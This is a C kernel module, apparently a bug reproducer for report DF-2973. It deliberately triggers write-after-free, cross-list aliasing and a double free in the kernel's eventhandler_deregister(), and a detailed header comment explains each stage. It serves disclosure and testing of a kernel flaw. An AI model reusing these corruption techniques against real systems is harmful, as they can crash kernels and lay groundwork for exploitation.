/*
 * DF-2973 — eventhandler_deregister() performs no validation of <tag>.
 *
 * Deterministic (race-free) demonstration of kernel memory corruption from
 * inside a KLD, mirroring what any in-tree/out-of-tree consumer mistake
 * produces:
 *
 *   STAGE 1  wrong-list deregistration
 *            b2 is the LAST entry of list B but is removed through list A.
 *            TAILQ_REMOVE(head=A, elm=b2):
 *              - b2->tqe_next == NULL, so A->tqh_last = b2->tqe_prev
 *                = &b1->ee_link.tqe_next   -> A's tail sentinel is redirected
 *                INTO LIST B's live entry.
 *              - B->tqh_last is never updated (that is the correct head's
 *                job) -> B's tail sentinel keeps pointing at the entry that
 *                is about to be kfree()d.
 *            b2 is then freed.
 *            -> next registration on B appends THROUGH the dangling sentinel:
 *               *(B->tqh_last) = b3 writes a heap pointer into the FREED b2
 *               chunk and b3 is unreachable by traversal.
 *            -> next registration on A appends through the redirected
 *               sentinel: *(A->tqh_last) = a2 writes a2 into LIVE b1->tqe_next
 *               -> cross-list aliasing (B's traversal now walks into A).
 *
 *   STAGE 2  tag==NULL mass-wipe + dangling-tag re-deregister
 *            eventhandler_deregister(W, NULL) frees every entry of W (this is
 *            the documented-but-insane "remove entire list" mode) leaving
 *            every consumer that saved a tag with a dangling pointer.
 *            Re-deregistering one saved tag (exactly what a consumer's own
 *            detach path does) runs TAILQ_REMOVE + kfree on FREED memory:
 *              - freed-memory writes into w2
 *              - the freed w2 is written back into W->tqh_first (list head
 *                pollution)
 *              - w1 is kfree()d a SECOND time (double free)
 *            The double free is proven by allocation aliasing: the chunk sits
 *            twice on the freelist, so two subsequent registrations come back
 *            with the SAME address -> two live owners of one chunk.
 *
 *   STAGE 3  stress: 2000 iterations of the stage-1 pattern with fresh names
 *            (repeatability / volume of write-after-free).
 *
 * Build:  see build.sh   (in-guest: make)
 * Run:    see run.sh     (kldload + dmesg)
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/eventhandler.h>
#include <sys/malloc.h>

static void	dummy(void *arg) { }

#define E(x)		((struct eventhandler_entry *)(x))
#define NEXT(x)		((void *)(E(x)->ee_link.tqe_next))

static int	confirmed;

static int
stage1(const char *ns)
{
	char		nmA[64], nmB[64];
	struct eventhandler_list *A, *B;
	eventhandler_tag a1, a2, b1, b2, b3;
	int		hit = 0;

	ksnprintf(nmA, sizeof(nmA), "%s_a", ns);
	ksnprintf(nmB, sizeof(nmB), "%s_b", ns);

	a1 = eventhandler_register(NULL, nmA, dummy, NULL, 1000);
	b1 = eventhandler_register(NULL, nmB, dummy, NULL, 1000);
	b2 = eventhandler_register(NULL, nmB, dummy, NULL, 2000);	/* last in B */
	A = eventhandler_find_list(nmA);
	B = eventhandler_find_list(nmB);

	if (A == NULL || B == NULL) {
		kprintf("DF2973[%s]: baseline failed\n", ns);
		return (0);
	}

	/* ---- THE BUG: remove b2 (belongs to B) through list A ---- */
	eventhandler_deregister(A, b2);

	if (A->el_entries.tqh_last == &E(b1)->ee_link.tqe_next) {
		kprintf("DF2973[%s] CONFIRMED: A->tqh_last redirected into "
		    "B's LIVE entry b1 (%p)\n", ns, b1);
		hit++;
	}
	if (NEXT(b1) == NULL &&
	    B->el_entries.tqh_last == &E(b2)->ee_link.tqe_next) {
		/*
		 * Only meaningful when b2 was ACTUALLY unlinked (b1->next
		 * == NULL); on a fixed kernel b2 stays live-and-last, which
		 * is legitimate and must not be counted.
		 */
		kprintf("DF2973[%s] CONFIRMED: B->tqh_last still points at "
		    "FREED b2 (%p) after its removal\n", ns, b2);
		hit++;
	}

	/* append to B goes through the dangling sentinel */
	b3 = eventhandler_register(NULL, nmB, dummy, NULL, 3000);
	if (NEXT(b1) == NULL) {
		kprintf("DF2973[%s] CONFIRMED: b3 (%p) was written into the "
		    "FREED b2 chunk (write-after-free); b3 is INVISIBLE to "
		    "traversal (b1->next==NULL)\n", ns, b3);
		hit++;
	}
	if ((void *)b3 == (void *)b2) {
		kprintf("DF2973[%s] CONFIRMED: freed b2 chunk reused as b3 — "
		    "stale write landed in a LIVE object\n", ns);
		hit++;
	}

	/* append to A goes through the redirected sentinel */
	a2 = eventhandler_register(NULL, nmA, dummy, NULL, 2000);
	if (NEXT(b1) == (void *)a2) {
		kprintf("DF2973[%s] CONFIRMED: cross-list aliasing — B:b1->next "
		    "== A:a2 (%p); traversing B now executes A's entry\n",
		    ns, a2);
		hit++;
	}
	return (hit);
}

static int
stage2(void)
{
	struct eventhandler_list *W;
	eventhandler_tag w1, w2, p1, p2;
	int		hit = 0;

	w1 = eventhandler_register(NULL, "df2973_w", dummy, NULL, 1000);
	w2 = eventhandler_register(NULL, "df2973_w", dummy, NULL, 2000);
	W = eventhandler_find_list("df2973_w");

	/* documented-but-dangerous mode: NULL tag frees the ENTIRE list.
	 * (Unchanged by fix.diff: this is the (in)famous API semantics; the
	 * corruption below comes from consumers' dangling saved tags.) */
	eventhandler_deregister(W, NULL);
	if (TAILQ_EMPTY(&W->el_entries)) {
		kprintf("DF2973 info: tag==NULL silently freed the whole "
		    "list; saved tags w1=%p w2=%p now DANGLE\n", w1, w2);
	}

	/* the consumer's own later detach path re-deregisters its saved tag */
	eventhandler_deregister(W, w1);		/* TAILQ_REMOVE + kfree on FREED w1 */

	if (W->el_entries.tqh_first == E(w2)) {
		kprintf("DF2973 CONFIRMED: double-deregister wrote FREED w2 "
		    "(%p) back into W->tqh_first (head pollution) and kfree()d "
		    "w1 a second time (DOUBLE FREE)\n", w2);
		hit++;
	}

	/* double-free proof by allocation aliasing */
	p1 = eventhandler_register(NULL, "df2973_p", dummy, NULL, 1000);
	p2 = eventhandler_register(NULL, "df2973_q", dummy, NULL, 1000);
	if ((void *)p1 == (void *)p2) {
		kprintf("DF2973 CONFIRMED: DOUBLE-FREE aliasing — chunk %p "
		    "handed out twice (p1==p2): two live owners of one kernel "
		    "heap object\n", p1);
		hit++;
	} else {
		kprintf("DF2973 note: no aliasing observed (p1=%p p2=%p); "
		    "double free still occurred (w1 kfree'd twice)\n", p1, p2);
	}
	return (hit);
}

static int
df2973_modevent(module_t m, int what, void *d)
{
	int		i, n;
	char		ns[32];

	switch (what) {
	case MOD_LOAD:
		n = stage1("df2973");
		confirmed += n;
		kprintf("DF2973 stage1 (wrong-list deregister): %d/4 corruption "
		    "signatures\n", n);

		n = stage2();
		confirmed += n;
		kprintf("DF2973 stage2 (NULL wipe + stale tag): %d corruption "
		    "signatures\n", n);

		for (i = 0; i < 2000; i++) {
			ksnprintf(ns, sizeof(ns), "df2973s%d", i);
			stage1(ns);
		}
		kprintf("DF2973 stage3: 2000 stress iterations done\n");

		kprintf("DF2973 TOTAL confirmed=%d %s\n", confirmed,
		    (confirmed >= 4) ? "— MEMORY CORRUPTION REPRODUCED" :
		    "— INCOMPLETE");
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df2973_mod = {
	"df2973",
	df2973_modevent,
	NULL
};

DECLARE_MODULE(df2973, df2973_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(df2973, 1);
